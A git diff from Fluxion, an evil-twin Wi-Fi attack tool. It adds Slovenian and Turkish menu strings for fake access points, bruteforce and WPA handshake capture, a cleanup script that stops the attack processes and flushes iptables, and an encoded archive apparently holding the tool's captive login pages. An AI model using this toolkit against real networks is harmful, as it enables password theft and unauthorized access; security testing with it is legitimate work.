scanchan_option_1="En kanal" + scanchan_option_2="Več kanalov" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + header_scan="WIFI Nadzor" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + header_scanchan="Skeniram tarče" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + header_askAP="Izberite način napada" + askAP_option_1="FakeAP - Hostapd ("$red"Priporočeno)" + askAP_option_2="FakeAP - airbase-ng (Počasnejša povezava)" + askAP_option_4="Bruteforce - (Handshake je potreben)" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + header_askauth="METODA PREVERITVE GESLA" + askauth_option_1="Handshake ("$red"Priporočeno)" + askauth_option_2="Wpa_supplicant(Slabša zanesljivost)" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + header_deauthforce="Handshake preverjanje" + deauthforce_option_1="aircrack-ng (Miss chance)" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + header_deauthMENU="*Zajami Handshake*" + deauthMENU_option_1="Preveri handshake" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + header_webinterface="Izberi možnost" + header_ConnectionRESET="Izberi prijavno stran" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + general_back="Nazaj" + general_error_1="Ni_najdeno" + general_case_error="Nepoznana možnost, izberi ponovno!" + general_exitmode="Čiščenje in zapiranje" + general_exitmode_1="Onemogočanje nadzornega načina" + general_exitmode_2="Onemogočanje vmesnika" + general_exitmode_3="Onemogočanje "$grey"posredovanja paketov" + general_exitmode_4="Čiščenje "$grey"iptables" + general_exitmode_5="Obnavljam "$grey"tput" + general_exitmode_6="Ponovno zaganjam "$grey"Network-Manager" + general_exitmode_7="Čiščenje je bilo uspšno!" + general_exitmode_8="Hvala ker uporabljaš fluxion" + # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + selection_1="Aktivnih odjemalcev" + selection_2="Izberite tarčo. Za ponovno skeniranje napisi $red r$transparent" diff --git a/language/tu b/language/tu new file mode 100644 index 0000000..19d86be --- /dev/null +++ b/language/tu @@ -0,0 +1,51 @@ +header_setinterface="Bir Ag Secin" + setinterface_error="Wireless adaptorunuz yok, program kapatiliyor..." + + # + header_choosescan="Kanal Sec" + choosescan_option_1="Tum Kanallar " + choosescan_option_2="Sectigim Kanal ya da Kanallar" + # + scanchan_option_1="Tek Kanal" + scanchan_option_2="Coklu Kanal" + # + header_scan="Wifi Goruntule" + # + header_scanchan="Hedef Taraniyor" + # + header_askAP="Saldiri Tipi Secin" + askAP_option_1="SahteAP - Hostapd ("$red"Tavsiye Edilen)" + askAP_option_2="SahteAP - airbase-ng (Yavas Baglanti)" + askAP_option_4="Kabakuvvet - (Handshake Gereklidir)" + # + header_askauth="Sifre Kontrol Metodu" + askauth_option_1="Handshake ("$red"Tavsiye Edilen)" + askauth_option_2="Wpa_supplicant(Hata Orani Yuksek)" + # + header_deauthforce="Handshake Kontrol" + deauthforce_option_1="aircrack-ng (Hata Sansı Var)" + # + header_deauthMENU="*Kaydet Handshake*" + deauthMENU_option_1="Kontrol Et handshake" + # + handshakelocation_1="handshake Dizini (Ornek: $red$WORK_DIR.cap$transparent)" + handshakelocation_2="Tusa Bas ${yellow}ENTER$transparent Gecmek icin" + # + header_webinterface="Secenegi Sec" + header_ConnectionRESET="Giris Sayfasini Sec" + # + general_back="Geri" + general_error_1="Bulunamadi" + general_case_error="Bilinmeyen Secenek. Tekrar Seciniz" + general_exitmode="Temizleniyor ve Kapatiliyor" + general_exitmode_1="Monitor modu kapatiliyor" + general_exitmode_2="Ag Arayuzu kapatiliyor" + general_exitmode_3="Kapatiliyor "$grey"forwarding of packets" + general_exitmode_4="Temizleniyor "$grey"iptables" + general_exitmode_5="Yenileniyor "$grey"tput" + general_exitmode_6="Tekrar Baslatiliyor "$grey"Network-Manager" + general_exitmode_7="Temizlik Basariyla Tamamlandi!" + general_exitmode_8="Fluxion kullandiginiz icin tesekkurler." + # + selection_1="Aktif kullanicilar" + selection_2="Tekrar taramak icin Hedef seciniz type$red r$transparent" diff --git a/airmon b/lib/airmon/airmon similarity index 100% rename from airmon rename to lib/airmon/airmon diff --git a/lib/exitmode b/lib/exitmode new file mode 100644 index 0000000..d411099 --- /dev/null +++ b/lib/exitmode @@ -0,0 +1,101 @@ +function exitmode { + if [ $FLUX_DEBUG != 1 ]; then + conditional_clear + top + echo -e "\n\n"$white"["$red"-"$white"] "$red"$general_exitmode"$transparent"" + + if ps -A | grep -q aireplay-ng; then + echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"aireplay-ng"$transparent"" + killall aireplay-ng &>$flux_output_device + fi + + if ps -A | grep -q airodump-ng; then + echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"airodump-ng"$transparent"" + killall airodump-ng &>$flux_output_device + fi + + if ps a | grep python| grep fakedns; then + echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"python"$transparent"" + kill $(ps a | grep python| grep fakedns | awk '{print $1}') &>$flux_output_device + fi + + if ps -A | grep -q hostapd; then + echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"hostapd"$transparent"" + killall hostapd &>$flux_output_device + fi + + if ps -A | grep -q lighttpd; then + echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"lighttpd"$transparent"" + killall lighttpd &>$flux_output_device + fi + + if ps -A | grep -q dhcpd; then + echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"dhcpd"$transparent"" + killall dhcpd &>$flux_output_device + fi + + if ps -A | grep -q mdk3; then + echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"mdk3"$transparent"" + killall mdk3 &>$flux_output_device + fi + + if [ "$WIFI_MONITOR" != "" ]; then + echo -e ""$weis"["$rot"-"$weis"] "$weis"$general_exitmode_1 "$green"$WIFI_MONITOR"$transparent"" + ./lib/airmon/airmon stop $WIFI_MONITOR &> $flux_output_device + fi + + + if [ "$WIFI" != "" ]; then + echo -e ""$weis"["$rot"-"$weis"] "$weis"$general_exitmode_2 "$green"$WIFI"$transparent"" + ./lib/airmon/airmon stop $WIFI &> $flux_output_device + macchanger -p $WIFI &> $flux_output_device + fi + + + if [ "$(cat /proc/sys/net/ipv4/ip_forward)" != "0" ]; then + echo -e ""$white"["$red"-"$white"] "$white"$general_exitmode_3"$transparent"" + sysctl -w net.ipv4.ip_forward=0 &>$flux_output_device + fi + + echo -e ""$white"["$red"-"$white"] "$white"$general_exitmode_4"$transparent"" + if [ ! -f $DUMP_PATH/iptables-rules ];then + iptables --flush + iptables --table nat --flush + iptables --delete-chain + iptables --table nat --delete-chain + else + iptables-restore < $DUMP_PATH/iptables-rules + fi + + echo -e ""$white"["$red"-"$white"] "$white"$general_exitmode_5"$transparent"" + tput cnorm + + if [ $FLUX_DEBUG != 1 ]; then + + echo -e ""$white"["$red"-"$white"] "$white"Delete "$grey"files"$transparent"" + rm -R $DUMP_PATH/* &>$flux_output_device + fi + + if [ $KEEP_NETWORK = 0 ]; then + + echo -e ""$white"["$red"-"$white"] "$white"$general_exitmode_6"$transparent"" + # systemctl check + systemd=`whereis systemctl` + if [ "$systemd" = "" ];then + service network-manager restart &> $flux_output_device & + service networkmanager restart &> $flux_output_device & + service networking restart &> $flux_output_device & + else + systemctl restart NetworkManager &> $flux_output_device & + fi + echo -e ""$white"["$green"+"$white"] "$green"$general_exitmode_7"$transparent"" + echo -e ""$white"["$green"+"$white"] "$grey"$general_exitmode_8"$transparent"" + sleep 2 + clear + fi + + fi + + exit + +} \ No newline at end of file diff --git a/lib/site/index b/lib/site/index new file mode 100644 index 0000000..6855447 --- /dev/null +++ b/lib/site/index @@ -0,0 +1,2217 @@ +echo "UEsDBAoAAAAAAEQCTUkAAAAAAAAAAAAAAAAEAAAAY3NzL1BLAwQUAAAACACyuUxJ8qGcyENfAABp +KgMAHwAAAGNzcy9qcXVlcnkubW9iaWxlLTEuNC41Lm1pbi5jc3PsXeuTGzdy/35/he6qturu4hnj +/VAeVTZlma6ik0utb1PJlxTFpZe8Gy11yxVlXZL/PegHMOBqtaQku8pcwfJyAAwGz+nfNLobjS// ++Nsnf/n318ubt0++37xYD8snsje9ffK/T75d3z6ZfvPVs9V8u3r6xIWltUv/5J/+5YkS0nRSdFr+ +IP1TrZ9q8V8p/+8Xf4Bb4gvMkAt9vnl9fTm/XW+uv3jy3fWiTxn/8je4029urr4c1ovl9Xb55I9f +/uY3/et1t15srrv5ArI/nf94u7z5nxfzxV+vbqCQbv1yfrV8+vpm+P3vUonzpxj/cru7+oefXg7/ +uFjNb7bL23/+83n31fnku+++ONOTM/083TpTYre82a4312f62ZlSshfpN6Uurxeby/X1FSWvt5su +BBs7CXf18zP9TSrit8/+bfLDf/7pm5Q91ZR+//Tnr2ffTVIg5erO1PP0/3/oCQWe/ZAKEucX36Zf +2UtK/OZfqbb0u7q9fXWmv6L0N2/e9G80DEOKfHszf7VaL7YpiI8/p8exwOepYin7y9tLKAhbRU25 +0ytJ9awvKWE2f7u8+W9OTMNwvaX09zdCCSGour2HvvppWF//9dDDMsaYLpSXHqdHxKufKP72Tjz9 +/2Z9ebvi9pucvlqur1a3d1N36+Wbrze5zJQAf9LwD+TY3r4dlnR/eT1/MSy78eVJbb5evuGn6if1 +16WvKc/21XzBRby6WW6XN7tlGfNX89vVfi0/rocBB0M/x/9KYTwD36cBmdidHmxnZhAWO70QcO1s ++fUTB7nSX6yvf0/FfC/T7E2kmqoLu5KD6tRU7KRcSX3hhy5VNFEXUv0d6+TXladPf/O7P/zfSFDD +8ua20VOjp1OnJw9UMxNIFCtpZhhHSoGQlItO9NZqpC2Zwsb4dJVbDkGeTi5KHojDFe5yWJ57vou0 +R8WWGkIKTBxnTxEk3fwAhi/sQoyNOL7aHZWXy8rXwG0IRxD5zc3mTXfZDY3QG6H/ugh9M7y9SqOt +BBH4M7iDNE4lvNqsr2+3udlnaqKhBkmkInRviSCo/onhK7WjhBxmkwLz1cRyVWjm6nNMeBArbhpW +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 